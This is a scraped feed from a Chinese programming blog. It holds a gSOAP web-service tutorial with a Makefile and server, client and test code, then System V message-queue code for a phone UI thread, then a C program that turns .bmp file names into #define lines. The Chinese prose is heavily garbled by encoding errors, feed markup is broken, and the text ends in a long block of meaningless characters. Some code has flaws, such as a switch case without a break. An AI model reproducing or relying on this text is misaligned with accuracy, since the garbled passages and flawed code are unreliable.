CLIENT_OBJS=$(GSOAP_ROOT)/env/envC.o $(WSNAME)ClientLib.o stdsoap2.o
ALL_OBJS=${WSNAME}server.o $(WSNAME)C.o $(WSNAME)Server.o ${WSNAME}test.o ${WSNAME}client.o $(WSNAME)ClientLib.o

#ȝ目标
all:server

${WSNAME}.wsdl:${WSNAME}.h
$(GSOAP_ROOT)/soapcpp2 -p$(WSNAME) -i -n -c ${WSNAME}.h

stdsoap2.o:$(GSOAP_ROOT)/stdsoap2.c
$(CC) -c $?

#~译一L成规则的.o文g
$(ALL_OBJS):%.o:%.c
$(CC) -c $? $(INCLUDE)

#~译服务器端
server:Makefile ${WSNAME}.wsdl ${WSNAME}server.o $(SERVER_OBJS)
$(CC) ${WSNAME}server.o $(SERVER_OBJS) -o ${WSNAME}server

#~译客户?br />client:Makefile ${WSNAME}.wsdl ${WSNAME}client.c ${WSNAME}test.c $(ALL_OBJS) stdsoap2.o
$(CC) ${WSNAME}test.o ${WSNAME}client.o $(CLIENT_OBJS) -o ${WSNAME}test

cl:
rm -f *.o *.xml *.a *.wsdl *.nsmap $(WSNAME)H.h $(WSNAME)C.c $(WSNAME)Server.c $(WSNAME)Client.c $(WSNAME)Stub.* $(WSNAME)$(WSNAME)Proxy.* $(WSNAME)$(WSNAME)Object.* $(WSNAME)ServerLib.c $(WSNAME)ClientLib.c $(WSNAME)server ns.xsd $(WSNAME)test

3Q我们先来做一个server端,创徏文gaddserver.c文gQ内容如下:

#include "addH.h"
#include "add.nsmap"

int main(int argc, char **argv)
{
int m, s; /* master and slave sockets */
struct soap add_soap;
soap_init(&add_soap);
soap_set_namespaces(&add_soap, add_namespaces);
if (argc < 2)
{
printf("usage: %s <server_port> \n", argv[0]);
exit(1);
}
else
{
m = soap_bind(&add_soap, NULL, atoi(argv[1]), 100);
if (m < 0)
{
soap_print_fault(&add_soap, stderr);
exit(-1);
}
fprintf(stderr, "Socket connection successful: master socket = %d\n", m);
for ( ; ; )
{
s = soap_accept(&add_soap);
if (s < 0)
{
soap_print_fault(&add_soap, stderr);
exit(-1);
}
fprintf(stderr, "Socket connection successful: slave socket = %d\n", s);
add_serve(&add_soap);//该句说明该server的服?br />soap_end(&add_soap);
}
}
return 0;
}
//server端的实现函数与add.h中声明的函数相同Q但是多了一个当前的soapq接的参?br />int ns__add(struct soap *add_soap, int num1, int num2, int *sum)
{
*sum = num1 + num2;
return 0;
}

4Q让我们的server跑v来吧Q?br />shell>make
shell>./addserver 8888
如果l端打印出“Socket connection successful: master socket = 3”,那么你的server已经在前台runh了,应该是值得高兴?amp;#61514;?br />打开IEQ键入http://本机IP:8888Q显CXMLQ服务已l启动,l端打印出“Socket connection successful: slave socket = 4”,表示服务接收C一ơsoap的连接?br />
5Q让我们再来写个客户端(q个只是soap的客L函数装一下,具体的调用参见下面的addtest.cQ,创徏文gaddclient.cQ内容如下:

#include "addStub.h"
#include "add.nsmap"
/**
* 传入参数QserverQserver的地址
* num1,num2Q需要相加的?br />* 传出参数QsumQnum1和num2相加的结?br />* q回|0为成功,其他为失?br />*/
int add( const char* server, int num1, int num2, int *sum )
{
struct soap add_soap;
int result = 0;
soap_init(&add_soap);
soap_set_namespaces(&add_soap, add_namespaces);

//该函数是客户端调用的主要函数Q后面几个参数和add.h中声明的一P前面多了3个参敎ͼ函数名是接口函数名ns__add前面加上soap_call_
soap_call_ns__add( &add_soap, server, "", num1, num2, sum );
if(add_soap.error)
{
printf("soap error:%d,%s,%s\n", add_soap.error, *soap_faultcode(&add_soap), *soap_faultstring(&add_soap) );
result = add_soap.error;
}
soap_end(&add_soap);
soap_done(&add_soap);
return result;
}

6Q我们最l写一个可以运行的客户端调用程序,创徏文gaddtest.cQ内容如下:

#include <stdio.h>
#include <stdlib.h>

int add(const char* server, int num1, int num2, int *sum);

int main(int argc, char **argv)
{
int result = -1;
char* server="http://localhost:8888";
int num1 = 0;
int num2 = 0;
int sum = 0;
if( argc < 3 )
{
printf("usage: %s num1 num2 \n", argv[0]);
exit(0);
}

num1 = atoi(argv[1]);
num2 = atoi(argv[2]);

result = add(server, num1, num2, &sum);
if (result != 0)
{
printf("soap err,errcode = %d\n", result);
}
else
{
printf("%d+%d=%d\n", num1, num2, sum );
}
return 0;
}

7Q让我们的client端和server端通讯
shell>make client
shell>./addtest 7 8
当然Q你的server应该q在runQ这样得到输出结?+8=15Q好了,你成功完成了你的W一个C写的WebServiceQ恭喜?br />三.囄说明

四.要注意的问题
1Q?add.h文g前面的几句注释不能删除,为soapcpp2需要识别的标志
2Q?接口函数的返回值只能是intQ是soap调用的结果,一般通过soap.error来判断soap的连接情况,q个q回值没有用到?br />3Q?接口函数的最后一个参Cؓ传出参数Q如果需要传出多个参敎ͼ需要自己定义一个结构将q回封装?br />4Q??h文g中不能include别的.h文gQ可能不能生效,需要用到某些结构的时候需要在该文件中直接声明?br />5Q?如果客户端的调用不需要返回|那么最后一个参?br />五.参考文?br />1Qgsoap主页
http://gsoap2.sourceforge.net

2Q跟我一起写Makefile
http://dev.csdn.net/develop/article/20/20025.shtm

3QWeb ServicesQ?A Technical IntroductionQ机械工业出版社Q?br />六.备注
192.168.18.233?92.168.18.234?usr/local/gsoap目录下的3个需要的文g及一个env目录Q不是编译安装的Q是在别的地方编译好了直接copyq来的(实际~译l果中还有wsdl2h工具及其他一些文Ӟ但是我们的实际开发中只是用到了这3个文件及env目录Q。因为时间仓促,本hq没有时间研I编译的问题Q相关细节可以查看参考文??br />?92.168.18.233?home/weiqiong/soap/sample目录下及192.168.18.234?tmp/soap/sample目录下有本文讲到的加法运的例子?/font>


全文l束

井泉 2006-06-27 09:28 发表评论
]]>
system V消息机制http://www.shnenglu.com/zjj2816/archive/2006/06/27/9058.html井泉井泉Tue, 27 Jun 2006 01:23:00 GMThttp://www.shnenglu.com/zjj2816/archive/2006/06/27/9058.htmlhttp://www.shnenglu.com/zjj2816/comments/9058.htmlhttp://www.shnenglu.com/zjj2816/archive/2006/06/27/9058.html#Feedback0http://www.shnenglu.com/zjj2816/comments/commentRss/9058.htmlhttp://www.shnenglu.com/zjj2816/services/trackbacks/9058.html#ifndef MSG_H
#define MSG_H
//msgid
#define LISTEN_THREAD  7
#define CENTER_THREAD  0
#define SEND_THREAD   2
#define REV_THREAD   3
#define TIME_THREAD   4
//lp
#define EXIT    0
#define SEND_SGIP_SUBMIT 1
#define SEND_SGIP_BIND
#define SEND_SGIP_R
#define SEND_SGIP_UNBIND
#define SEND_SGIP_UNBIND_R
#define REV_SGIP_SOCKET
//wp
#define SEND_SUCCESS
#define PACK_FAIL
#define SEND_FAIL
enum mgnt_cmd_type
{
 event_login         = 0,
  event_logout,
  event_sip_init_para,
  event_log_init_para,
  event_sip_clean,
  event_set_dtmf_mode,
  event_set_dhcp,
  event_set_pppoe,
  
  event_pstn_call_out,
  event_sip_call_out,
  event_answer_sipcall,
  event_release_sipcall,
  event_loadBMP_init,
  
  
  event_pstn_call_in=20,
  event_sip_call_in,
  event_remote_release_call,
  event_remote_establish_call,
  event_remote_cancelcall,
  event_login_return,
  event_remote_ignore,

  event_set_pstn_ring,
  event_set_sip_ring,
  event_set_alarm_ring,
  event_set_ring_volume
  
};

typedef struct msgbuf
{
 long   msgtype;
 unsigned long msgid;
 unsigned long lp;
 unsigned long wp;
}MSGBuf, *pMSGBuf;


int vvMSGSend(long thread_id, unsigned long msgid, unsigned long lp, unsigned long wp);
int vvMSGRecv(long thread_id, struct msgbuf *msg, int is_wait);


#ifndef _WINDOWS

#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <unistd.h>

#define MSG_FILE_NAME    "/rw/"      //"/mnt/"
#define MSG_FLAG   (IPC_CREAT  | 00666)
//| IPC_EXCL
 


typedef struct sendMsg
{
 int sd;
 void *content;
}SendMsg, *pSendMsg;


#endif

#endif //MSG_H





#include "vvmsg.h"
#include <ps_log.h>

#ifndef _WINDOWS
#include <phone_Interface.h>
#include <pthread.h>
#include <basegdi.h>
#include <keyboard.h>
//#include "hash.h"
extern  pthread_t g_incomingthread;
//extern  hash_table table;
#endif

 

int vvMSGSend(long thread_id, unsigned long msgid, unsigned long lp, unsigned long wp)

 struct msgbuf bmsg;
#ifndef _WINDOWS
 key_t key;

 int msg_id;
 bmsg.msgtype = thread_id;
 bmsg.msgid = msgid;
 bmsg.lp = lp;
 bmsg.wp = wp;

 if((key = ftok(MSG_FILE_NAME,'a')) == -1)
 {
  return -1;
 }

 if((msg_id = msgget(key,MSG_FLAG)) == -1)
 {
  return -1;
 }

 if (msgsnd(msg_id, &bmsg, sizeof(struct msgbuf), IPC_NOWAIT) == -1)
 {
  return -1;
 }
#endif
 return 1;

}

int vvMSGRecv(long thread_id, struct msgbuf *msg, int is_wait)
{
 #ifndef _WINDOWS
 key_t key;  
 int msg_id;
 if((key = ftok(MSG_FILE_NAME,'a')) == -1)
 {
  printf("Recv msg error 1!\n");
  return -1;
 }
 if((msg_id = msgget(key,MSG_FLAG)) == -1)
 {
  printf("Recv msg error 2!\n");
  return -1;
 }
 if (is_wait != 1)
 {
  if (msgrcv(msg_id, msg, sizeof(struct msgbuf), thread_id, IPC_NOWAIT) == -1)
  {
   printf("Recv msg error 3!\n");
   return -1;
  } 
 }
 else
 {
  if (msgrcv(msg_id, msg, sizeof(struct msgbuf), thread_id, 0) == -1)
  {
   //printf("Recv msg error 4!\n");
   return -1;
  }
 }
  #endif
 return 1;

}

void *skype_thread_start(void *arg)
{
 #ifndef _WINDOWS
 MSGBuf msg;
 pthread_setcancelstate(PTHREAD_CANCEL_ENABLE,0);//讄U程属?br /> pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS,0);
 for (;;)
 {
  pthread_testcancel();//讄取消?br />  if (vvMSGRecv((long)g_incomingthread, &msg, 1) == -1)
   continue;
  
  // analysis the message
  switch (msg.msgid)
  {
   ps_show_str(log_DEBUG, "vvmsg event!!!!!!!!!!!!!!!%d\r\n", msg.msgid);
  case event_login:
   {
    userLogin();
    
   }
   break;
  case event_logout:
   {
    userLogout();
   }
  case event_sip_clean:
   {
    SipClean();
   }
   break;
  case event_sip_init_para:
   {
    ps_show_str(log_DEBUG, "event before################UpdateSipInitPara\r\n");
    UpdateSipInitPara();
    ps_show_str(log_DEBUG, "event after##################UpdateSipInitPara\r\n");
   }
   break;
  case event_log_init_para:
   {
    UpdateLogInitPara();
   }
   break;
  case event_set_dtmf_mode:
   {
    int i = (int)msg.lp;
    ps_show_str(log_DEBUG, "event_set_dtmf_mode########################%d\r\n", i);
    SetDTMFMode(i);
   }
   break;
  case event_set_dhcp:
   {
    SetDHCP();
   }
   break;
  case event_set_pppoe:
   {
    SetPPPOE();
   }
   break;

  case event_pstn_call_out:
   {
    pstncall((char*)msg.lp);
   }
   break;
  case event_sip_call_out:
   {
    
    sipcall((char*)msg.lp);
   }
   break;

  case event_answer_sipcall:
   {
    callmgr_answercall((LINE_ID_T *)msg.lp);
   }
   break;
        case event_release_sipcall:
   {
    callmgr_releasecall((LINE_ID_T *)msg.lp);
   }
   break;
  case event_loadBMP_init:
   {
    CreateSysBmp();
    
   }
   break;
   

 

 

 

 

 

 

 

  case event_pstn_call_in:
   {
    LINE_ID_T *line = (LINE_ID_T *)msg.wp;
    sipcome_create(line);
   }
   break;
  case event_sip_call_in:
   {
    LINE_ID_T *line = (LINE_ID_T *)msg.wp;
    sipcome_create(line);
   }
   break;
 
  case event_remote_establish_call:
   {
    
    LINE_ID_T *line = (LINE_ID_T *)msg.wp;
    pstnchat_create(line);
    if(g_Hwnd[HWND_CALLOUT]!=0)
    calling_destroy(g_Hwnd[HWND_CALLOUT]);
    
   }
   break;
  case event_remote_cancelcall:
   {
    if(g_Hwnd[HWND_CALLIN]!=0)
   SendMessage(g_Hwnd[HWND_CALLIN],MSG_KEYDOWN,KEY_SW_RSK,0);
   }
   break;
  case event_remote_release_call:
   {
    if(g_Hwnd[HWND_CHAT]!=0)
    SendMessage(g_Hwnd[HWND_CHAT],MSG_KEYDOWN,KEY_SW_RSK,0);
   }
   break;
  case event_login_return:
   {
    printf("sfds0000000000000000000000000000000dssssssss^^^^^^^^^^^^^^^^^\r\n");
    if(g_Hwnd[HWND_MAINSCREEN]!=0)
    {
     UpdateWindow(g_Hwnd[HWND_MAINSCREEN],1);
    // SetFocusChild(g_Hwnd[HWND_MAINSCREEN]);
    // ShowWindow(g_Hwnd[HWND_MAINSCREEN], SW_SHOW);
    }
   }
   break;
  case event_remote_ignore:
   {
    if(g_Hwnd[HWND_CALLOUT]!=0)
    SendMessage(g_Hwnd[HWND_CALLOUT],MSG_KEYDOWN,KEY_SW_RSK,0); 
   }
   break;
  case event_set_pstn_ring:
   {
    SetPstnRing((int)msg.lp);
   }
   break;
  case event_set_sip_ring:
   {
    SetSipRing((int)msg.lp);
   }
   break;
  case event_set_ring_volume:
   {
    SetRingVolume((int)msg.lp);
   }
   break;
  }

 }
 #endif
}

附(创徏U程Q:if (pthread_create(&g_incomingthread, NULL, skype_thread_start, NULL))
  return -1;



井泉 2006-06-27 09:23 发表评论
]]>
遍历文g目录--生成definehttp://www.shnenglu.com/zjj2816/archive/2006/06/26/9030.html井泉井泉Mon, 26 Jun 2006 11:18:00 GMThttp://www.shnenglu.com/zjj2816/archive/2006/06/26/9030.htmlhttp://www.shnenglu.com/zjj2816/comments/9030.htmlhttp://www.shnenglu.com/zjj2816/archive/2006/06/26/9030.html#Feedback0http://www.shnenglu.com/zjj2816/comments/commentRss/9030.htmlhttp://www.shnenglu.com/zjj2816/services/trackbacks/9030.html#include <sys/types.h>
#include <ctype.h>
#include <errno.h>
#include <stdio.h>
#include <dirent.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

static void strtoupper(char *p)
{
 int i;
 int j=strlen(p);
 for(i=0;i<j;i++)
  {
 *p=toupper(*p);
 p++;
 }
};
int main( void )
{
 
 
 int fd;
 DIR * dir;
 struct dirent * ent;
 
 char *p1;
 char *p2;
 char temp[255];
 char lower[50];
 memset(temp,0,sizeof(temp));
 memset(lower,0,sizeof(lower));
 
 
 if(!(dir=opendir("/opt/sip_ui/res/."))){ //目录
 perror("opendir");
 return;
 }
 errno=0;
 

 if((fd=open("hw",O_TRUNC|O_CREAT|O_WRONLY,0644))<0){
 perror("open");
 exit(1); 
 }
 
 while((ent=readdir(dir))){
  
 if(strstr(ent->d_name,".bmp")){ //后缀?br /> p1=strtok(ent->d_name,".");
 p2=strtok(NULL,".");
 memcpy(lower,p1,strlen(p1));
 lower[strlen(p1)]='\0';
 strtoupper(p1);
 strtoupper(p2);
 
  strcat(p1,"_PIC");
 //strcat(p1,p2);
 
 sprintf(temp,"#define %s \"res\" PATH_SEP \"%s.\" RESFILE_EXT\n",p1,lower);
 
      
     

 if(write(fd,temp,strlen(temp)) < 0){
 perror("write");
 exit(1);
 }
 }
 errno=0;
 }
 if(errno)
 {
 perror("readdir");
 return ;
 }
 
 close(fd);
 closedir(dir);
 return 1;
}



井泉 2006-06-26 19:18 发表评论
]]>
鶹ھƷþþþþ| ĻþòҰav| ޾ƷþþþþҲ| þþƷ99þ㽶| 뾫Ʒþþþ.. | ŷ޹׾þþþþþ| ݺݺݾþ| þˬˬƬAV鷳 | ޾þһ| þùҹƵ| ߳߳þþ| þþžžþƷֱ| ˳ɾƷþþþ| þù޾Ʒ| ƷŮ߳׾þþ| AVպAVþþ| þAV뾫Ʒ| þ91Ʒ91| ޹Ʒþһ| ޹Ʒþþ| 97Ʒ˾þô߽app| Ʒþþþһ| þþþþ޾Ʒ| þۺϾɫۺϾ99| ޹һɾþþƷۺ| þˬˬav| þþþþþž99Ʒ| þùƷӰԺ| þþƷƷ| ŷ㽶þۺվ| þþƷѹۿ97| þоƷ| 97þþƷһ| þۺϾɫۺŷȥ| þþþþþĻ| þݹƷһ| aëƬþѲ| 99þþùƷС˵| þþƷ99þþ| þùŮѹۿƷ | ƷѸþ|